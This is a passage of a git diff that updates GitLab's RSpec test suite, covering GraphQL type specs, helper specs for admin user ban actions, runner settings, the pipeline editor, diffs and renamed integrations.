diff --git a/spec/graphql/types/notes/noteable_interface_spec.rb b/spec/graphql/types/notes/noteable_interface_spec.rb
new file mode 100644
index 00000000000..be2c30aac72
--- /dev/null
+++ b/spec/graphql/types/notes/noteable_interface_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Notes::NoteableInterface do
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ discussions
+ notes
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+
+ describe ".resolve_type" do
+ it 'knows the correct type for objects' do
+ expect(described_class.resolve_type(build(:issue), {})).to eq(Types::IssueType)
+ expect(described_class.resolve_type(build(:merge_request), {})).to eq(Types::MergeRequestType)
+ expect(described_class.resolve_type(build(:design), {})).to eq(Types::DesignManagement::DesignType)
+ expect(described_class.resolve_type(build(:alert_management_alert), {})).to eq(Types::AlertManagement::AlertType)
+ end
+ end
+end
diff --git a/spec/graphql/types/notes/noteable_type_spec.rb b/spec/graphql/types/notes/noteable_type_spec.rb
deleted file mode 100644
index fad24c6fed4..00000000000
--- a/spec/graphql/types/notes/noteable_type_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Types::Notes::NoteableType do
- it 'exposes the expected fields' do
- expected_fields = %i[
- discussions
- notes
- ]
-
- expect(described_class).to have_graphql_fields(*expected_fields)
- end
-
- describe ".resolve_type" do
- it 'knows the correct type for objects' do
- expect(described_class.resolve_type(build(:issue), {})).to eq(Types::IssueType)
- expect(described_class.resolve_type(build(:merge_request), {})).to eq(Types::MergeRequestType)
- expect(described_class.resolve_type(build(:design), {})).to eq(Types::DesignManagement::DesignType)
- expect(described_class.resolve_type(build(:alert_management_alert), {})).to eq(Types::AlertManagement::AlertType)
- end
- end
-end
diff --git a/spec/graphql/types/project_type_spec.rb b/spec/graphql/types/project_type_spec.rb
index 0f7cadbd4a7..a22110e8338 100644
--- a/spec/graphql/types/project_type_spec.rb
+++ b/spec/graphql/types/project_type_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe GitlabSchema.types['Project'] do
include GraphqlHelpers
+ include Ci::TemplateHelpers
specify { expect(described_class).to expose_permissions_using(Types::PermissionTypes::Project) }
@@ -38,6 +39,61 @@ RSpec.describe GitlabSchema.types['Project'] do
expect(described_class).to include_graphql_fields(*expected_fields)
end
+ describe 'container_registry_enabled' do
+ let_it_be(:project, reload: true) { create(:project, :public) }
+ let_it_be(:user) { create(:user) }
+
+ let(:query) do
+ %(
+ query {
+ project(fullPath: "#{project.full_path}") {
+ containerRegistryEnabled
+ }
+ }
+ )
+ end
+
+ subject { GitlabSchema.execute(query, context: { current_user: user }).as_json }
+
+ context 'with `enabled` visibility' do
+ before do
+ project.project_feature.update_column(:container_registry_access_level, ProjectFeature::ENABLED)
+ end
+
+ context 'with non member user' do
+ it 'returns true' do
+ expect(subject.dig('data', 'project', 'containerRegistryEnabled')).to eq(true)
+ end
+ end
+ end
+
+ context 'with `private` visibility' do
+ before do
+ project.project_feature.update_column(:container_registry_access_level, ProjectFeature::PRIVATE)
+ end
+
+ context 'with reporter user' do
+ before do
+ project.add_reporter(user)
+ end
+
+ it 'returns true' do
+ expect(subject.dig('data', 'project', 'containerRegistryEnabled')).to eq(true)
+ end
+ end
+
+ context 'with guest user' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'returns false' do
+ expect(subject.dig('data', 'project', 'containerRegistryEnabled')).to eq(false)
+ end
+ end
+ end
+ end
+
describe 'sast_ci_configuration' do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
@@ -103,15 +159,14 @@ RSpec.describe GitlabSchema.types['Project'] do
subject { GitlabSchema.execute(query, context: { current_user: user }).as_json }
it "returns the project's sast configuration for global variables" do
- secure_analyzers_prefix = subject.dig('data', 'project', 'sastCiConfiguration', 'global', 'nodes').first
- expect(secure_analyzers_prefix['type']).to eq('string')
- expect(secure_analyzers_prefix['field']).to eq('SECURE_ANALYZERS_PREFIX')
- expect(secure_analyzers_prefix['label']).to eq('Image prefix')
- expect(secure_analyzers_prefix['defaultValue'])
- .to eq('registry.gitlab.com/gitlab-org/security-products/analyzers')
- expect(secure_analyzers_prefix['value']).to eq('registry.gitlab.com/gitlab-org/security-products/analyzers')
- expect(secure_analyzers_prefix['size']).to eq('LARGE')
- expect(secure_analyzers_prefix['options']).to be_nil
+ secure_analyzers = subject.dig('data', 'project', 'sastCiConfiguration', 'global', 'nodes').first
+ expect(secure_analyzers['type']).to eq('string')
+ expect(secure_analyzers['field']).to eq('SECURE_ANALYZERS_PREFIX')
+ expect(secure_analyzers['label']).to eq('Image prefix')
+ expect(secure_analyzers['defaultValue']).to eq(secure_analyzers_prefix)
+ expect(secure_analyzers['value']).to eq(secure_analyzers_prefix)
+ expect(secure_analyzers['size']).to eq('LARGE')
+ expect(secure_analyzers['options']).to be_nil
end
it "returns the project's sast configuration for pipeline variables" do
@@ -387,4 +442,11 @@ RSpec.describe GitlabSchema.types['Project'] do
it { is_expected.to have_graphql_type(Types::Ci::TemplateType) }
it { is_expected.to have_graphql_arguments(:name) }
end
+
+ describe 'ci_job_token_scope field' do
+ subject { described_class.fields['ciJobTokenScope'] }
+
+ it { is_expected.to have_graphql_type(Types::Ci::JobTokenScopeType) }
+ it { is_expected.to have_graphql_resolver(Resolvers::Ci::JobTokenScopeResolver) }
+ end
end
diff --git a/spec/graphql/types/projects/service_type_spec.rb b/spec/graphql/types/projects/service_type_spec.rb
index 567bdfaec24..cb09f1ca6cc 100644
--- a/spec/graphql/types/projects/service_type_spec.rb
+++ b/spec/graphql/types/projects/service_type_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Types::Projects::ServiceType do
describe ".resolve_type" do
it 'resolves the corresponding type for objects' do
- expect(described_class.resolve_type(build(:jira_service), {})).to eq(Types::Projects::Services::JiraServiceType)
+ expect(described_class.resolve_type(build(:jira_integration), {})).to eq(Types::Projects::Services::JiraServiceType)
expect(described_class.resolve_type(build(:service), {})).to eq(Types::Projects::Services::BaseServiceType)
expect(described_class.resolve_type(build(:drone_ci_integration), {})).to eq(Types::Projects::Services::BaseServiceType)
expect(described_class.resolve_type(build(:custom_issue_tracker_integration), {})).to eq(Types::Projects::Services::BaseServiceType)
diff --git a/spec/graphql/types/projects/services_enum_spec.rb b/spec/graphql/types/projects/services_enum_spec.rb
index 39c2dcd07f6..00427e1d580 100644
--- a/spec/graphql/types/projects/services_enum_spec.rb
+++ b/spec/graphql/types/projects/services_enum_spec.rb
@@ -8,6 +8,6 @@ RSpec.describe GitlabSchema.types['ServiceType'] do
end
def available_services_enum
- ::Integration.available_services_types(include_dev: false).map(&:underscore).map(&:upcase)
+ ::Integration.available_integration_types(include_dev: false).map(&:underscore).map(&:upcase)
end
end
diff --git a/spec/graphql/types/query_complexity_type_spec.rb b/spec/graphql/types/query_complexity_type_spec.rb
new file mode 100644
index 00000000000..6b2330f2b13
--- /dev/null
+++ b/spec/graphql/types/query_complexity_type_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['QueryComplexity'] do
+ include GraphqlHelpers
+
+ specify do
+ expect(described_class).to have_graphql_fields(:limit, :score).only
+ end
+
+ it 'works when executed' do
+ query = <<-GQL
+ query {
+ queryComplexity {
+ score
+ limit
+ }
+
+ currentUser {
+ name
+ }
+ }
+ GQL
+
+ query_result = run_with_clean_state(query).to_h
+
+ data = graphql_dig_at(query_result, :data, :queryComplexity)
+
+ expect(data).to include(
+ 'score' => be > 0,
+ 'limit' => GitlabSchema::DEFAULT_MAX_COMPLEXITY
+ )
+ end
+end
diff --git a/spec/graphql/types/release_asset_link_type_spec.rb b/spec/graphql/types/release_asset_link_type_spec.rb
index 6800d5459c4..0c903b8d27a 100644
--- a/spec/graphql/types/release_asset_link_type_spec.rb
+++ b/spec/graphql/types/release_asset_link_type_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe GitlabSchema.types['ReleaseAssetLink'] do
it 'has the expected fields' do
expected_fields = %w[
- id name url external link_type direct_asset_url
+ id name url external link_type direct_asset_url direct_asset_path
]
expect(described_class).to include_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/snippets/blob_type_spec.rb b/spec/graphql/types/snippets/blob_type_spec.rb
index 60c0db8e551..e20b001ba7f 100644
--- a/spec/graphql/types/snippets/blob_type_spec.rb
+++ b/spec/graphql/types/snippets/blob_type_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe GitlabSchema.types['SnippetBlob'] do
include GraphqlHelpers
it 'has the correct fields' do
- expected_fields = [:rich_data, :plain_data,
+ expected_fields = [:rich_data, :plain_data, :raw_plain_data,
:raw_path, :size, :binary, :name, :path,
:simple_viewer, :rich_viewer, :mode, :external_storage,
:rendered_as_text]
@@ -18,6 +18,7 @@ RSpec.describe GitlabSchema.types['SnippetBlob'] do
{
'richData' => be_nullable,
'plainData' => be_nullable,
+ 'rawPlainData' => be_nullable,
'rawPath' => be_non_null,
'size' => be_non_null,
'binary' => be_non_null,
diff --git a/spec/haml_lint/linter/documentation_links_spec.rb b/spec/haml_lint/linter/documentation_links_spec.rb
index 22c406de57a..75002097d69 100644
--- a/spec/haml_lint/linter/documentation_links_spec.rb
+++ b/spec/haml_lint/linter/documentation_links_spec.rb
@@ -10,30 +10,30 @@ RSpec.describe HamlLint::Linter::DocumentationLinks do
shared_examples 'link validation rules' do |link_pattern|
context 'when link_to points to the existing file path' do
- let(:haml) { "= link_to 'Description', #{link_pattern}('README.md')" }
+ let(:haml) { "= link_to 'Description', #{link_pattern}('index.md')" }
it { is_expected.not_to report_lint }
end
context 'when link_to points to the existing file with valid anchor' do
- let(:haml) { "= link_to 'Description', #{link_pattern}('README.md', anchor: 'overview'), target: '_blank'" }
+ let(:haml) { "= link_to 'Description', #{link_pattern}('index.md', anchor: 'overview'), target: '_blank'" }
it { is_expected.not_to report_lint }
end
context 'when link_to points to the existing file path without .md extension' do
- let(:haml) { "= link_to 'Description', #{link_pattern}('README')" }
+ let(:haml) { "= link_to 'Description', #{link_pattern}('index')" }
it { is_expected.not_to report_lint }
end
context 'when anchor is not correct' do
- let(:haml) { "= link_to 'Description', #{link_pattern}('README.md', anchor: 'wrong')" }
+ let(:haml) { "= link_to 'Description', #{link_pattern}('index.md', anchor: 'wrong')" }
it { is_expected.to report_lint }
context "when #{link_pattern} has multiple options" do
- let(:haml) { "= link_to 'Description', #{link_pattern}('README.md', key: :value, anchor: 'wrong')" }
+ let(:haml) { "= link_to 'Description', #{link_pattern}('index.md', key: :value, anchor: 'wrong')" }
it { is_expected.to report_lint }
end
@@ -58,7 +58,7 @@ RSpec.describe HamlLint::Linter::DocumentationLinks do
end
context 'when anchor belongs to a different element' do
- let(:haml) { "= link_to 'Description', #{link_pattern}('README.md'), target: (anchor: 'blank')" }
+ let(:haml) { "= link_to 'Description', #{link_pattern}('index.md'), target: (anchor: 'blank')" }
it { is_expected.not_to report_lint }
end
@@ -82,7 +82,7 @@ RSpec.describe HamlLint::Linter::DocumentationLinks do
end
context 'when the second link is invalid' do
- let(:haml) { ".data-form{ data: { url: #{link_pattern}('README.md'), wrong_url: #{link_pattern}('wrong.md') } }" }
+ let(:haml) { ".data-form{ data: { url: #{link_pattern}('index.md'), wrong_url: #{link_pattern}('wrong.md') } }" }
it { is_expected.to report_lint }
end
diff --git a/spec/helpers/admin/user_actions_helper_spec.rb b/spec/helpers/admin/user_actions_helper_spec.rb
index 7ccd9a4fe3e..d945b13cad6 100644
--- a/spec/helpers/admin/user_actions_helper_spec.rb
+++ b/spec/helpers/admin/user_actions_helper_spec.rb
@@ -29,13 +29,13 @@ RSpec.describe Admin::UserActionsHelper do
context 'the user is a standard user' do
let_it_be(:user) { create(:user) }
- it { is_expected.to contain_exactly("edit", "block", "deactivate", "delete", "delete_with_contributions") }
+ it { is_expected.to contain_exactly("edit", "block", "ban", "deactivate", "delete", "delete_with_contributions") }
end
context 'the user is an admin user' do
let_it_be(:user) { create(:user, :admin) }
- it { is_expected.to contain_exactly("edit", "block", "deactivate", "delete", "delete_with_contributions") }
+ it { is_expected.to contain_exactly("edit", "block", "ban", "deactivate", "delete", "delete_with_contributions") }
end
context 'the user is blocked by LDAP' do
@@ -59,7 +59,7 @@ RSpec.describe Admin::UserActionsHelper do
context 'the user is deactivated' do
let_it_be(:user) { create(:user, :deactivated) }
- it { is_expected.to contain_exactly("edit", "block", "activate", "delete", "delete_with_contributions") }
+ it { is_expected.to contain_exactly("edit", "block", "ban", "activate", "delete", "delete_with_contributions") }
end
context 'the user is locked' do
@@ -73,6 +73,7 @@ RSpec.describe Admin::UserActionsHelper do
is_expected.to contain_exactly(
"edit",
"block",
+ "ban",
"deactivate",
"unlock",
"delete",
@@ -81,6 +82,12 @@ RSpec.describe Admin::UserActionsHelper do
}
end
+ context 'the user is banned' do
+ let_it_be(:user) { create(:user, :banned) }
+
+ it { is_expected.to contain_exactly("edit", "unban", "delete", "delete_with_contributions") }
+ end
+
context 'the current_user does not have permission to delete the user' do
let_it_be(:user) { build(:user) }
@@ -88,7 +95,7 @@ RSpec.describe Admin::UserActionsHelper do
allow(helper).to receive(:can?).with(current_user, :destroy_user, user).and_return(false)
end
- it { is_expected.to contain_exactly("edit", "block", "deactivate") }
+ it { is_expected.to contain_exactly("edit", "block", "ban", "deactivate") }
end
context 'the user is a sole owner of a group' do
@@ -99,7 +106,31 @@ RSpec.describe Admin::UserActionsHelper do
group.add_owner(user)
end
- it { is_expected.to contain_exactly("edit", "block", "deactivate") }
+ it { is_expected.to contain_exactly("edit", "block", "ban", "deactivate") }
+ end
+
+ context 'the user is a bot' do
+ let_it_be(:user) { create(:user, :bot) }
+
+ it { is_expected.to match_array([]) }
+ end
+
+ context 'when `ban_user_feature_flag` is disabled' do
+ before do
+ stub_feature_flags(ban_user_feature_flag: false)
+ end
+
+ context 'the user is a standard user' do
+ let_it_be(:user) { create(:user) }
+
+ it { is_expected.not_to include("ban") }
+ end
+
+ context 'the user is banned' do
+ let_it_be(:user) { create(:user, :banned) }
+
+ it { is_expected.not_to include("unban") }
+ end
end
end
end
diff --git a/spec/helpers/analytics/unique_visits_helper_spec.rb b/spec/helpers/analytics/unique_visits_helper_spec.rb
deleted file mode 100644
index b4b370c169d..00000000000
--- a/spec/helpers/analytics/unique_visits_helper_spec.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-require "spec_helper"
-
-RSpec.describe Analytics::UniqueVisitsHelper do
- include Devise::Test::ControllerHelpers
-
- describe '#track_visit' do
- let(:target_id) { 'p_analytics_valuestream' }
- let(:current_user) { create(:user) }
-
- it 'does not track visit if user is not logged in' do
- expect_any_instance_of(Gitlab::Analytics::UniqueVisits).not_to receive(:track_visit)
-
- helper.track_visit(target_id)
- end
-
- it 'tracks visit if user is logged in' do
- sign_in(current_user)
-
- expect_any_instance_of(Gitlab::Analytics::UniqueVisits).to receive(:track_visit)
-
- helper.track_visit(target_id)
- end
-
- it 'tracks visit if user is not logged in, but has the cookie already' do
- helper.request.cookies[:visitor_id] = { value: SecureRandom.uuid, expires: 24.months }
-
- expect_any_instance_of(Gitlab::Analytics::UniqueVisits).to receive(:track_visit)
-
- helper.track_visit(target_id)
- end
- end
-end
diff --git a/spec/helpers/application_settings_helper_spec.rb b/spec/helpers/application_settings_helper_spec.rb
index 4c62b3e12c1..90bfb2e72e6 100644
--- a/spec/helpers/application_settings_helper_spec.rb
+++ b/spec/helpers/application_settings_helper_spec.rb
@@ -178,6 +178,26 @@ RSpec.describe ApplicationSettingsHelper do
end
end
+ describe '.valid_runner_registrars' do
+ subject { helper.valid_runner_registrars }
+
+ context 'when only admins are permitted to register runners' do
+ before do
+ stub_application_setting(valid_runner_registrars: [])
+ end
+
+ it { is_expected.to eq [] }
+ end
+
+ context 'when group and project users are permitted to register runners' do
+ before do
+ stub_application_setting(valid_runner_registrars: ApplicationSetting::VALID_RUNNER_REGISTRAR_TYPES)
+ end
+
+ it { is_expected.to eq ApplicationSetting::VALID_RUNNER_REGISTRAR_TYPES }
+ end
+ end
+
describe '.signup_enabled?' do
subject { helper.signup_enabled? }
diff --git a/spec/helpers/blob_helper_spec.rb b/spec/helpers/blob_helper_spec.rb
index 885569574a4..c48d609836d 100644
--- a/spec/helpers/blob_helper_spec.rb
+++ b/spec/helpers/blob_helper_spec.rb
@@ -67,8 +67,8 @@ RSpec.describe BlobHelper do
it 'passes on primary tracking attributes' do
parsed_link = Capybara.string(link).find_link('Edit')
- expect(parsed_link[:'data-track-event']).to eq("click_edit")
- expect(parsed_link[:'data-track-label']).to eq("Edit")
+ expect(parsed_link[:'data-track-action']).to eq("click_edit")
+ expect(parsed_link[:'data-track-label']).to eq("edit")
expect(parsed_link[:'data-track-property']).to eq(nil)
end
end
@@ -85,8 +85,8 @@ RSpec.describe BlobHelper do
it 'passes on secondary tracking attributes' do
parsed_link = Capybara.string(link).find_link('Edit')
- expect(parsed_link[:'data-track-event']).to eq("click_edit")
- expect(parsed_link[:'data-track-label']).to eq("Edit")
+ expect(parsed_link[:'data-track-action']).to eq("click_edit")
+ expect(parsed_link[:'data-track-label']).to eq("edit")
expect(parsed_link[:'data-track-property']).to eq("secondary")
end
end
@@ -332,8 +332,8 @@ RSpec.describe BlobHelper do
it 'passes on secondary tracking attributes' do
parsed_link = Capybara.string(link).find_link('Web IDE')
- expect(parsed_link[:'data-track-event']).to eq("click_edit_ide")
- expect(parsed_link[:'data-track-label']).to eq("Web IDE")
+ expect(parsed_link[:'data-track-action']).to eq("click_edit_ide")
+ expect(parsed_link[:'data-track-label']).to eq("web_ide")
expect(parsed_link[:'data-track-property']).to eq("secondary")
end
end
@@ -350,8 +350,8 @@ RSpec.describe BlobHelper do
it 'passes on primary tracking attributes' do
parsed_link = Capybara.string(link).find_link('Web IDE')
- expect(parsed_link[:'data-track-event']).to eq("click_edit_ide")
- expect(parsed_link[:'data-track-label']).to eq("Web IDE")
+ expect(parsed_link[:'data-track-action']).to eq("click_edit_ide")
+ expect(parsed_link[:'data-track-label']).to eq("web_ide")
expect(parsed_link[:'data-track-property']).to eq(nil)
end
end
diff --git a/spec/helpers/ci/pipeline_editor_helper_spec.rb b/spec/helpers/ci/pipeline_editor_helper_spec.rb
index 2287718db5a..3ce4657282e 100644
--- a/spec/helpers/ci/pipeline_editor_helper_spec.rb
+++ b/spec/helpers/ci/pipeline_editor_helper_spec.rb
@@ -40,12 +40,12 @@ RSpec.describe Ci::PipelineEditorHelper do
it 'returns pipeline editor data' do
expect(pipeline_editor_data).to eq({
"ci-config-path": project.ci_config_path_or_default,
- "ci-examples-help-page-path" => help_page_path('ci/examples/README'),
- "ci-help-page-path" => help_page_path('ci/README'),
+ "ci-examples-help-page-path" => help_page_path('ci/examples/index'),
+ "ci-help-page-path" => help_page_path('ci/index'),
"commit-sha" => project.commit.sha,
- "default-branch" => project.default_branch,
+ "default-branch" => project.default_branch_or_main,
"empty-state-illustration-path" => 'foo',
- "initial-branch-name": nil,
+ "initial-branch-name" => nil,
"lint-help-page-path" => help_page_path('ci/lint', anchor: 'validate-basic-logic-and-syntax'),
"needs-help-page-path" => help_page_path('ci/yaml/README', anchor: 'needs'),
"new-merge-request-path" => '/mock/project/-/merge_requests/new',
@@ -54,7 +54,7 @@ RSpec.describe Ci::PipelineEditorHelper do
"project-path" => project.path,
"project-full-path" => project.full_path,
"project-namespace" => project.namespace.full_path,
- "runner-help-page-path" => help_page_path('ci/runners/README'),
+ "runner-help-page-path" => help_page_path('ci/runners/index'),
"total-branches" => project.repository.branches.length,
"yml-help-page-path" => help_page_path('ci/yaml/README')
})
@@ -67,12 +67,12 @@ RSpec.describe Ci::PipelineEditorHelper do
it 'returns pipeline editor data' do
expect(pipeline_editor_data).to eq({
"ci-config-path": project.ci_config_path_or_default,
- "ci-examples-help-page-path" => help_page_path('ci/examples/README'),
- "ci-help-page-path" => help_page_path('ci/README'),
+ "ci-examples-help-page-path" => help_page_path('ci/examples/index'),
+ "ci-help-page-path" => help_page_path('ci/index'),
"commit-sha" => '',
- "default-branch" => project.default_branch,
+ "default-branch" => project.default_branch_or_main,
"empty-state-illustration-path" => 'foo',
- "initial-branch-name": nil,
+ "initial-branch-name" => nil,
"lint-help-page-path" => help_page_path('ci/lint', anchor: 'validate-basic-logic-and-syntax'),
"needs-help-page-path" => help_page_path('ci/yaml/README', anchor: 'needs'),
"new-merge-request-path" => '/mock/project/-/merge_requests/new',
@@ -81,11 +81,27 @@ RSpec.describe Ci::PipelineEditorHelper do
"project-path" => project.path,
"project-full-path" => project.full_path,
"project-namespace" => project.namespace.full_path,
- "runner-help-page-path" => help_page_path('ci/runners/README'),
+ "runner-help-page-path" => help_page_path('ci/runners/index'),
"total-branches" => 0,
"yml-help-page-path" => help_page_path('ci/yaml/README')
})
end
end
+
+ context 'with a non-default branch name' do
+ let(:user) { create(:user) }
+
+ before do
+ create_commit('Message', project, user, 'feature')
+ controller.params[:branch_name] = 'feature'
+ end
+
+ it 'returns correct values' do
+ latest_feature_sha = project.repository.commit('feature').sha
+
+ expect(pipeline_editor_data['initial-branch-name']).to eq('feature')
+ expect(pipeline_editor_data['commit-sha']).to eq(latest_feature_sha)
+ end
+ end
end
end
diff --git a/spec/helpers/ci/runners_helper_spec.rb b/spec/helpers/ci/runners_helper_spec.rb
index 94d4d620de9..40927d44e24 100644
--- a/spec/helpers/ci/runners_helper_spec.rb
+++ b/spec/helpers/ci/runners_helper_spec.rb
@@ -3,6 +3,12 @@
require 'spec_helper'
RSpec.describe Ci::RunnersHelper do
+ let_it_be(:user, refind: true) { create(:user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
describe '#runner_status_icon', :clean_gitlab_redis_cache do
it "returns - not contacted yet" do
runner = create(:ci_runner)
@@ -90,28 +96,28 @@ RSpec.describe Ci::RunnersHelper do
context 'when project has runners' do
it 'returns the correct value for is_enabled' do
- data = toggle_shared_runners_settings_data(project_with_runners)
+ data = helper.toggle_shared_runners_settings_data(project_with_runners)
expect(data[:is_enabled]).to eq("true")
end
end
context 'when project does not have runners' do
it 'returns the correct value for is_enabled' do
- data = toggle_shared_runners_settings_data(project_without_runners)
+ data = helper.toggle_shared_runners_settings_data(project_without_runners)
expect(data[:is_enabled]).to eq("false")
end
end
context 'for all projects' do
it 'returns the update path for toggling the shared runners setting' do
- data = toggle_shared_runners_settings_data(project_with_runners)
+ data = helper.toggle_shared_runners_settings_data(project_with_runners)
expect(data[:update_path]).to eq(toggle_shared_runners_project_runners_path(project_with_runners))
end
it 'returns false for is_disabled_and_unoverridable when project has no group' do
project = create(:project)
- data = toggle_shared_runners_settings_data(project)
+ data = helper.toggle_shared_runners_settings_data(project)
expect(data[:is_disabled_and_unoverridable]).to eq("false")
end
@@ -129,7 +135,7 @@ RSpec.describe Ci::RunnersHelper do
project = create(:project, group: group)
allow(group).to receive(:shared_runners_setting).and_return(shared_runners_setting)
- data = toggle_shared_runners_settings_data(project)
+ data = helper.toggle_shared_runners_settings_data(project)
expect(data[:is_disabled_and_unoverridable]).to eq(is_disabled_and_unoverridable)
end
end
diff --git a/spec/helpers/clusters_helper_spec.rb b/spec/helpers/clusters_helper_spec.rb
index 8c738141063..f64afa1ed71 100644
--- a/spec/helpers/clusters_helper_spec.rb
+++ b/spec/helpers/clusters_helper_spec.rb
@@ -75,6 +75,13 @@ RSpec.describe ClustersHelper do
it 'displays project path' do
expect(subject[:project_path]).to eq(project.full_path)
end
+
+ it 'generates docs urls' do
+ expect(subject[:agent_docs_url]).to eq(help_page_path('user/clusters/agent/index'))
+ expect(subject[:install_docs_url]).to eq(help_page_path('administration/clusters/kas'))
+ expect(subject[:get_started_docs_url]).to eq(help_page_path('user/clusters/agent/index', anchor: 'define-a-configuration-repository'))
+ expect(subject[:integration_docs_url]).to eq(help_page_path('user/clusters/agent/index', anchor: 'get-started-with-gitops-and-the-gitlab-agent'))
+ end
end
describe '#js_clusters_list_data' do
diff --git a/spec/helpers/commits_helper_spec.rb b/spec/helpers/commits_helper_spec.rb
index 4e94636ba45..34445d26258 100644
--- a/spec/helpers/commits_helper_spec.rb
+++ b/spec/helpers/commits_helper_spec.rb
@@ -321,4 +321,13 @@ RSpec.describe CommitsHelper do
it { is_expected.to include(pipeline.cache_key) }
end
end
+
+ describe "#commit_path_template" do
+ let(:project) { build(:project) }
+ let(:expected_path) { "/#{project.full_path}/-/commit/$COMMIT_SHA" }
+
+ subject { helper.commit_path_template(project) }
+
+ it { is_expected.to eq(expected_path) }
+ end
end
diff --git a/spec/helpers/diff_helper_spec.rb b/spec/helpers/diff_helper_spec.rb
index dfea1020c52..29708f10de4 100644
--- a/spec/helpers/diff_helper_spec.rb
+++ b/spec/helpers/diff_helper_spec.rb
@@ -293,23 +293,22 @@ RSpec.describe DiffHelper do
describe '#render_overflow_warning?' do
using RSpec::Parameterized::TableSyntax
- let(:diffs_collection) { instance_double(Gitlab::Diff::FileCollection::MergeRequestDiff, raw_diff_files: diff_files) }
+ let(:diffs_collection) { instance_double(Gitlab::Diff::FileCollection::MergeRequestDiff, raw_diff_files: diff_files, overflow?: false) }
let(:diff_files) { Gitlab::Git::DiffCollection.new(files) }
let(:safe_file) { { too_large: false, diff: '' } }
let(:large_file) { { too_large: true, diff: '' } }
let(:files) { [safe_file, safe_file] }
- before do
- allow(diff_files).to receive(:overflow?).and_return(false)
- allow(diff_files).to receive(:overflow_max_bytes?).and_return(false)
- allow(diff_files).to receive(:overflow_max_files?).and_return(false)
- allow(diff_files).to receive(:overflow_max_lines?).and_return(false)
- allow(diff_files).to receive(:collapsed_safe_bytes?).and_return(false)
- allow(diff_files).to receive(:collapsed_safe_files?).and_return(false)
- allow(diff_files).to receive(:collapsed_safe_lines?).and_return(false)
- end
-
context 'when no limits are hit' do
+ before do
+ allow(diff_files).to receive(:overflow_max_bytes?).and_return(false)
+ allow(diff_files).to receive(:overflow_max_files?).and_return(false)
+ allow(diff_files).to receive(:overflow_max_lines?).and_return(false)
+ allow(diff_files).to receive(:collapsed_safe_bytes?).and_return(false)
+ allow(diff_files).to receive(:collapsed_safe_files?).and_return(false)
+ allow(diff_files).to receive(:collapsed_safe_lines?).and_return(false)
+ end
+
it 'returns false and does not log any overflow events' do
expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_collection_limits)
expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_single_file_limits)
@@ -343,7 +342,7 @@ RSpec.describe DiffHelper do
context 'when the file collection has an overflow' do
before do
- allow(diff_files).to receive(:overflow?).and_return(true)
+ allow(diffs_collection).to receive(:overflow?).and_return(true)
end
it 'returns true and only logs all the correct collection overflow event' do
@@ -405,7 +404,7 @@ RSpec.describe DiffHelper do
it "returns a valid URL" do
allow(helper).to receive(:safe_params).and_return(params)
- expect(subject).to match(/foo\/bar\/-\/commit\/#{commit.sha}\/diff_for_path/)
+ expect(subject).to match(%r{foo/bar/-/commit/#{commit.sha}/diff_for_path})
end
end
diff --git a/spec/helpers/emails_helper_spec.rb b/spec/helpers/emails_helper_spec.rb
index 58ed5901d45..956c19f54d1 100644
--- a/spec/helpers/emails_helper_spec.rb
+++ b/spec/helpers/emails_helper_spec.rb
@@ -238,16 +238,16 @@ RSpec.describe EmailsHelper do
it 'returns the default header logo' do
create :appearance, header_logo: nil
- expect(header_logo).to eq(
- %{<img alt="GitLab" src="/images/mailers/gitlab_header_logo.gif" width="55" height="50" />}
+ expect(header_logo).to match(
+ %r{<img alt="GitLab" src="/images/mailers/gitlab_header_logo\.(?:gif|png)" width="\d+" height="\d+" />}
)
end
end
context 'there is no brand item' do
it 'returns the default header logo' do
- expect(header_logo).to eq(
- %{<img alt="GitLab" src="/images/mailers/gitlab_header_logo.gif" width="55" height="50" />}
+ expect(header_logo).to match(
+ %r{<img alt="GitLab" src="/images/mailers/gitlab_header_logo\.(?:gif|png)" width="\d+" height="\d+" />}
)
end
end
diff --git a/spec/helpers/environments_helper_spec.rb b/spec/helpers/environments_helper_spec.rb
index 96869fcc777..22867a5b652 100644
--- a/spec/helpers/environments_helper_spec.rb
+++ b/spec/helpers/environments_helper_spec.rb
@@ -122,7 +122,7 @@ RSpec.describe EnvironmentsHelper do
end
context 'has_managed_prometheus' do
- context 'without prometheus service' do
+ context 'without prometheus integration' do
it "doesn't have managed prometheus" do
expect(metrics_data).to include(
'has_managed_prometheus' => 'false'
@@ -130,12 +130,12 @@ RSpec.describe EnvironmentsHelper do
end
end
- context 'with prometheus service' do
- let_it_be(:prometheus_service) { create(:prometheus_service, project: project) }
+ context 'with prometheus integration' do
+ let_it_be(:prometheus_integration) { create(:prometheus_integration, project: project) }
- context 'when manual prometheus service is active' do
+ context 'when manual prometheus integration is active' do
it "doesn't have managed prometheus" do
- prometheus_service.update!(manual_configuration: true)
+ prometheus_integration.update!(manual_configuration: true)
expect(metrics_data).to include(
'has_managed_prometheus' => 'false'
@@ -143,9 +143,9 @@ RSpec.describe EnvironmentsHelper do
end
end
- context 'when prometheus service is inactive' do
+ context 'when prometheus integration is inactive' do
it "doesn't have managed prometheus" do
- prometheus_service.update!(manual_configuration: false)
+ prometheus_integration.update!(manual_configuration: false)
expect(metrics_data).to include(
'has_managed_prometheus' => 'false'
diff --git a/spec/helpers/gitlab_routing_helper_spec.rb b/spec/helpers/gitlab_routing_helper_spec.rb
index 40faf994ad2..a3f2b8fafa0 100644
--- a/spec/helpers/gitlab_routing_helper_spec.rb
+++ b/spec/helpers/gitlab_routing_helper_spec.rb
